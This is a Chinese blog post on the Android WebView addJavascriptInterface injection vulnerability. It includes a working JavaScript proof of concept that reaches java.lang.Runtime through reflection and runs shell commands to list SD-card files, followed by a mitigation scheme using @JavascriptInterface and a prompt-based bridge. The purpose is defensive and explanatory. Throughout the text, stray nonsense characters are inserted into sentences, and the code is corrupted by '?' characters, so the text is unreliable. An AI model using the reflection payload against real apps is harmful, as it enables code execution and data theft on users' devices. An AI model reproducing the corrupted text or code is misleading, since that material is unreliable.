Android WebView的Js對(duì)象注入漏洞解決方案

最近在做一個(gè)項(xiàng)目過(guò)程中您单,發(fā)現(xiàn)了一個(gè)很嚴(yán)重的安全漏洞,這個(gè)漏洞是烏云平臺(tái)(http://www.wooyun.org)報(bào)告出來(lái)的荞雏。

1虐秦,使用場(chǎng)景

我們很多時(shí)候要使用WebView來(lái)展示一個(gè)網(wǎng)頁(yè),現(xiàn)在很多應(yīng)用為了做到服務(wù)端可控凤优,很多結(jié)果頁(yè)都是網(wǎng)頁(yè)的悦陋,而不是本地實(shí)現(xiàn),這樣做有很多好處筑辨,比如界面的改變不需要重新發(fā)布新版本俺驶,直接在Server端修改就行了。用網(wǎng)頁(yè)來(lái)展示界面棍辕,通常情況下都或多或少都與Java代碼有交互暮现,比如點(diǎn)擊網(wǎng)頁(yè)上面的一個(gè)按鈕,我們需要知道這個(gè)按鈕點(diǎn)擊事件楚昭,或者我們要調(diào)用某個(gè)方法栖袋,讓頁(yè)面執(zhí)行某種動(dòng)作,為了實(shí)現(xiàn)這些交互抚太,我們通常都是使用JS來(lái)實(shí)現(xiàn)塘幅,而WebView已經(jīng)提供了這樣的方法,具體用法如下:

[java]view plaincopy

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");

我們向WebView注冊(cè)一個(gè)名叫“jsInterface”的對(duì)象尿贫,然后在JS中可以訪問(wèn)到j(luò)sInterface這個(gè)對(duì)象电媳,就可以調(diào)用這個(gè)對(duì)象的一些方法,最終可以調(diào)用到Java代碼中帅霜,從而實(shí)現(xiàn)了JS與Java代碼的交互匆背。

我們一起來(lái)看看關(guān)于addJavascriptInterface方法在Android官網(wǎng)的描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API levelJELLY_BEANor below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.

簡(jiǎn)單地說(shuō),就是用addJavascriptInterface可能導(dǎo)致不安全身冀,因?yàn)镴S可能包含惡意代碼钝尸。今天我們要說(shuō)的這個(gè)漏洞就是這個(gè),當(dāng)JS包含惡意代碼時(shí)搂根,它可以干任何事情珍促。

2,漏洞描述

通過(guò)JavaScript剩愧,可以訪問(wèn)當(dāng)前設(shè)備的SD卡上面的任何東西猪叙,甚至是聯(lián)系人信息,短信等仁卷。這很惡心吧穴翩,嘎嘎。好锦积,我們一起來(lái)看看是怎么出現(xiàn)這樣的錯(cuò)誤的芒帕。可以去看看烏云平臺(tái)上的這個(gè)bug描述:猛點(diǎn)這里

1丰介,WebView添加了JavaScript對(duì)象背蟆,并且當(dāng)前應(yīng)用具有讀寫SDCard的權(quán)限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2哮幢,JS中可以遍歷window對(duì)象带膀,找到存在“getClass”方法的對(duì)象的對(duì)象,然后再通過(guò)反射的機(jī)制橙垢,得到Runtime對(duì)象垛叨,然后調(diào)用靜態(tài)方法來(lái)執(zhí)行一些命令,比如訪問(wèn)文件的命令.

3柜某,再?gòu)膱?zhí)行命令后返回的輸入流中得到字符串点额,就可以得到文件名的信息了。然后想干什么就干什么莺琳,好危險(xiǎn)还棱。核心JS代碼如下:

[javascript]view plaincopy

functionexecute(cmdArgs)

{

for(varobjinwindow)?{

if("getClass"inwindow[obj])?{

alert(obj);

returnwindow[obj].getClass().forName("java.lang.Runtime")

.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}}}


3,漏洞證明

舉例一:為了證明這個(gè)漏洞惭等,寫了一個(gè)demo來(lái)說(shuō)明珍手。我就只是加載一個(gè)包含惡意JS代碼的本地網(wǎng)頁(yè),HTML其代碼如下:

[html]view plaincopy

vari=0;

function?getContents(inputStream)

{

varcontents=""+i;

varb=inputStream.read();

vari=1;

while(b?!=?-1)?{

varbString=String.fromCharCode(b);

contents?+=?bString;

contents?+=?"\n"

b=inputStream.read();

}

i=i+1;

return?contents;

}

function?execute(cmdArgs)

{

for?(var?obj?in?window)?{

console.log(obj);

if?("getClass"?in?window[obj])?{

alert(obj);

return?window[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

}

}

varp=execute(["ls","/mnt/sdcard/"]);

document.write(getContents(p.getInputStream()));

function?onButtonClick()

{

//?Call?the?method?of?injected?object?from?Android?source.

vartext=jsInterface.onButtonClick("從JS中傳遞過(guò)來(lái)的文本4亲觥A找!");

alert(text);

}

function?onImageClick()

{

//Call?the?method?of?injected?object?from?Android?source.

varsrc=document.getElementById("image").src;

varwidth=document.getElementById("image").width;

varheight=document.getElementById("image").height;

//?Call?the?method?of?injected?object?from?Android?source.

jsInterface.onImageClick(src,?width,?height);

}

點(diǎn)擊圖片把URL傳到Java代碼

onclick="onImageClick()"

width="328"

height="185"

src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"

onerror="this.src='background_chl.jpg'"/>

與Java代碼交互

這段HTML的運(yùn)行效果如下:

圖一:期望運(yùn)行結(jié)果圖

上圖中秤茅,點(diǎn)擊按鈕后稚补,JS中傳遞 一段文本到Java代碼,顯示一下個(gè)toast框喳,點(diǎn)擊圖片后课幕,把圖片的URL厦坛,width,height傳到Java層乍惊,也用toast顯示出來(lái)杜秸。

要實(shí)現(xiàn)這樣的功能,就需要注Java對(duì)象润绎。

簡(jiǎn)單說(shuō)明一下

1撬碟,請(qǐng)看execute()這個(gè)方法,它遍歷所有window的對(duì)象莉撇,然后找到包含getClass方法的對(duì)象呢蛤,利用這個(gè)對(duì)象的類,找到j(luò)ava.lang.Runtime對(duì)象棍郎,然后調(diào)用“getRuntime”靜態(tài)方法方法得到Runtime的實(shí)例其障,再調(diào)用exec()方法來(lái)執(zhí)行某段命令。

2坝撑,getContents()方法静秆,從流中讀取內(nèi)容,顯示在界面上巡李。

3抚笔,關(guān)鍵的代碼就是以下兩句

[javascript]view plaincopy

returnwindow[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Java代碼實(shí)現(xiàn)如下:

[java]view plaincopy

mWebView?=?(WebView)?findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");

mWebView.loadUrl("file:///android_asset/html/test.html");

需要添加的權(quán)限:

[html]view plaincopy

當(dāng)點(diǎn)擊LOAD菜單后,運(yùn)行截圖如下:(理論上應(yīng)該出現(xiàn)圖一界面)

圖二:實(shí)際運(yùn)行結(jié)果侨拦,列出了SDCard中的文件

舉例二:360瀏覽器也存在這個(gè)問(wèn)題殊橙,我測(cè)試的系統(tǒng)是android 4.0.2,360瀏覽器版本是:4.8.7

在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html狱从,然后前往膨蛮,它會(huì)出現(xiàn)如下的界面

圖三:360瀏覽器運(yùn)行結(jié)果

說(shuō)明:其中searchBoxJavaBridge_不是360注入的對(duì)象,而是WebView內(nèi)部注入的季研,這是在3.0以后的Android系統(tǒng)上添加的敞葛。

在關(guān)閉這個(gè)對(duì)話框之后,它會(huì)列出當(dāng)前SDCard上面的所有文件列表与涡,如下圖所示

圖四:錯(cuò)誤結(jié)果

4惹谐,解決方案

1,Android 4.2以上的系統(tǒng)

在Android 4.2以上的驼卖,google作了修正氨肌,通過(guò)在Java的遠(yuǎn)程方法上面聲明一個(gè)@JavascriptInterface,如下面代碼:

[java]view plaincopy

classJsObject?{

@JavascriptInterface

publicString?toString()?{return"injectedObject";?}

}

webView.addJavascriptInterface(newJsObject(),"injectedObject");

webView.loadData("","text/html",null);

webView.loadUrl("javascript:alert(injectedObject.toString())");

2酌畜,Android 4.2以下的系統(tǒng)

這個(gè)問(wèn)題比較難解決怎囚,但也不是不能解決。

首先桥胞,我們肯定不能再調(diào)用addJavascriptInterface方法了恳守。關(guān)于這個(gè)問(wèn)題考婴,最核心的就是要知道JS事件這一個(gè)動(dòng)作,JS與Java進(jìn)行交互我們知道井誉,有以下幾種蕉扮,比prompt, alert等整胃,這樣的動(dòng)作都會(huì)對(duì)應(yīng)到WebChromeClient類中相應(yīng)的方法颗圣,對(duì)于prompt,它對(duì)應(yīng)的方法是onJsPrompt方法屁使,這個(gè)方法的聲明如下:

[java]view plaincopy

publicbooleanonJsPrompt(WebView?view,?String?url,?String?message,

String?defaultValue,?JsPromptResult?result)

通過(guò)這個(gè)方法在岂,JS能把信息(文本)傳遞到Java,而Java也能把信息(文本)傳遞到JS中蛮寂,通知這個(gè)思路我們能不能找到解決方案呢蔽午?

經(jīng)過(guò)一番嘗試與分析,找到一種比較可行的方案酬蹋,請(qǐng)看下面幾個(gè)小點(diǎn):

【1】讓JS調(diào)用一個(gè)Javascript方法及老,這個(gè)方法中是調(diào)用prompt方法,通過(guò)prompt把JS中的信息傳遞過(guò)來(lái)范抓,這些信息應(yīng)該是我們組合成的一段有意義的文本骄恶,可能包含:特定標(biāo)識(shí),方法名稱匕垫,參數(shù)等僧鲁。在onJsPrompt方法中,我們?nèi)ソ馕鰝鬟f過(guò)來(lái)的文本象泵,得到方法名寞秃,參數(shù)等,再通過(guò)反射機(jī)制偶惠,調(diào)用指定的方法春寿,從而調(diào)用到Java對(duì)象的方法。

【2】關(guān)于返回值忽孽,可以通過(guò)prompt返回回去绑改,這樣就可以把Java中方法的處理結(jié)果返回到Js中。

【3】我們需要?jiǎng)討B(tài)生成一段聲明Javascript方法的JS腳本扒腕,通過(guò)loadUrl來(lái)加載它绢淀,從而注冊(cè)到html頁(yè)面中,具體的代碼如下:

[javascript]view plaincopy

javascript:(functionJsAddJavascriptInterface_(){

if(typeof(window.jsInterface)!='undefined')?{

console.log('window.jsInterface_js_interface_name?is?exist!!');}

else{

window.jsInterface?=?{

onButtonClick:function(arg0)?{

returnprompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));

},

onImageClick:function(arg0,arg1,arg2)?{

prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));

},

};

}

}

)()

說(shuō)明:

1瘾腰,上面代碼中的jsInterface就是要注冊(cè)的對(duì)象名皆的,它注冊(cè)了兩個(gè)方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)蹋盆,如果有返回值费薄,就添加上return硝全。

2,prompt中是我們約定的字符串楞抡,它包含特定的標(biāo)識(shí)符MyApp:伟众,后面包含了一串JSON字符串,它包含了方法名召廷,參數(shù)凳厢,對(duì)象名等。

3竞慢,當(dāng)JS調(diào)用onButtonClick或onImageClick時(shí)先紫,就會(huì)回調(diào)到Java層中的onJsPrompt方法,我們?cè)俳馕龀龇椒镏螅瑓?shù)遮精,對(duì)象名,再反射調(diào)用方法败潦。

4本冲,window.jsInterface這表示在window上聲明了一個(gè)Js對(duì)象,聲明方法的形式是:方法名:function(參數(shù)1劫扒,參數(shù)2)

5檬洞,一些思考

以下是在實(shí)現(xiàn)這個(gè)解決方案過(guò)程中遇到的一些問(wèn)題和思考:

【1】生成Js方法后,加載這段Js的時(shí)機(jī)是什么粟关?

剛開始時(shí)在當(dāng)WebView正常加載URL后去加載Js疮胖,但發(fā)現(xiàn)會(huì)存在問(wèn)題,如果當(dāng)WebView跳轉(zhuǎn)到下一個(gè)頁(yè)面時(shí)闷板,之前加載的Js就可能無(wú)效了澎灸,所以需要再次加載。這個(gè)問(wèn)題經(jīng)過(guò)嘗試遮晚,需要在以下幾個(gè)方法中加載Js性昭,它們是WebChromeClient和WebViewClient的方法:

onLoadResource

doUpdateVisitedHistory

onPageStarted

onPageFinished

onReceivedTitle

onProgressChanged

目前測(cè)試了這幾個(gè)地方,沒什么問(wèn)題县遣,這里我也不能完全確保沒有問(wèn)題糜颠。

【2】需要過(guò)濾掉Object類的方法

由于通過(guò)反射的形式來(lái)得到指定對(duì)象的方法,他會(huì)把基類的方法也會(huì)得到萧求,最頂層的基類就是Object其兴,所以我們?yōu)榱瞬话裧etClass方法注入到Js中,所以我們需要把Object的公有方法過(guò)濾掉夸政。這里嚴(yán)格說(shuō)來(lái)元旬,應(yīng)該有一個(gè)需要過(guò)濾方法的列表。目前我的實(shí)現(xiàn)中,需要過(guò)濾的方法有:

"getClass",

"hashCode",

"notify",

"notifyAll",

"equals",

"toString",

"wait",

【3】通過(guò)手動(dòng)loadUrl來(lái)加載一段js匀归,這種方式難道js中的對(duì)象就不在window中嗎坑资?也就是說(shuō),通過(guò)遍歷window的對(duì)象穆端,不能找到我們通過(guò)loadUrl注入的js對(duì)象嗎袱贮?

關(guān)于這個(gè)問(wèn)題,我們的方法是通過(guò)Js聲明的体啰,通過(guò)loadUrl的形式來(lái)注入到頁(yè)面中攒巍,其實(shí)本質(zhì)相當(dāng)于把我們這動(dòng)態(tài)生成的這一段Js直接寫在Html頁(yè)面中,所以狡赐,這些Js中的window中雖然包含了我們聲明的對(duì)象窑业,但是他們并不是Java對(duì)象钦幔,他們是通過(guò)Js語(yǔ)法聲明的枕屉,所以不存在getClass之類的方法。本質(zhì)上他們是Js對(duì)象鲤氢。

【4】在Android 3.0以下搀擂,系統(tǒng)自己添加了一個(gè)叫searchBoxJavaBridge_的Js接口,要解決這個(gè)安全問(wèn)題卷玉,我們也需要把這個(gè)接口刪除哨颂,調(diào)用removeJavascriptInterface方法。這個(gè)searchBoxJavaBridge_好像是跟google的搜索框相關(guān)的相种。

【5】在實(shí)現(xiàn)過(guò)程中威恼,我們需要判斷系統(tǒng)版本是否在4.2以下,因?yàn)樵?.2以上寝并,Android修復(fù)了這個(gè)安全問(wèn)題箫措。我們只是需要針對(duì)4.2以下的系統(tǒng)作修復(fù)。

源碼下載

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末衬潦,一起剝皮案震驚了整個(gè)濱河市斤蔓,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌镀岛,老刑警劉巖弦牡,帶你破解...
    沈念sama閱讀 218,941評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異漂羊,居然都是意外死亡驾锰,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,397評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門走越,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)椭豫,“玉大人,你說(shuō)我怎么就攤上這事∧砻酰” “怎么了匆赃?”我有些...
    開封第一講書人閱讀 165,345評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)今缚。 經(jīng)常有香客問(wèn)我算柳,道長(zhǎng),這世上最難降的妖魔是什么姓言? 我笑而不...
    開封第一講書人閱讀 58,851評(píng)論 1 295
  • 正文 為了忘掉前任瞬项,我火速辦了婚禮,結(jié)果婚禮上何荚,老公的妹妹穿的比我還像新娘囱淋。我一直安慰自己,他們只是感情好餐塘,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,868評(píng)論 6 392
  • 文/花漫 我一把揭開白布妥衣。 她就那樣靜靜地躺著,像睡著了一般戒傻。 火紅的嫁衣襯著肌膚如雪税手。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,688評(píng)論 1 305
  • 那天需纳,我揣著相機(jī)與錄音芦倒,去河邊找鬼。 笑死不翩,一個(gè)胖子當(dāng)著我的面吹牛兵扬,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播口蝠,決...
    沈念sama閱讀 40,414評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼器钟,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了亚皂?” 一聲冷哼從身側(cè)響起俱箱,我...
    開封第一講書人閱讀 39,319評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎灭必,沒想到半個(gè)月后狞谱,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,775評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡禁漓,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評(píng)論 3 336
  • 正文 我和宋清朗相戀三年跟衅,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片播歼。...
    茶點(diǎn)故事閱讀 40,096評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡伶跷,死狀恐怖掰读,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情叭莫,我是刑警寧澤蹈集,帶...
    沈念sama閱讀 35,789評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站雇初,受9級(jí)特大地震影響拢肆,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜靖诗,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,437評(píng)論 3 331
  • 文/蒙蒙 一郭怪、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧刊橘,春花似錦鄙才、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,993評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至绞愚,卻和暖如春叙甸,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背位衩。 一陣腳步聲響...
    開封第一講書人閱讀 33,107評(píng)論 1 271
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留熔萧,地道東北人糖驴。 一個(gè)月前我還...
    沈念sama閱讀 48,308評(píng)論 3 372
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像佛致,于是被迫代替她去往敵國(guó)和親贮缕。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,037評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容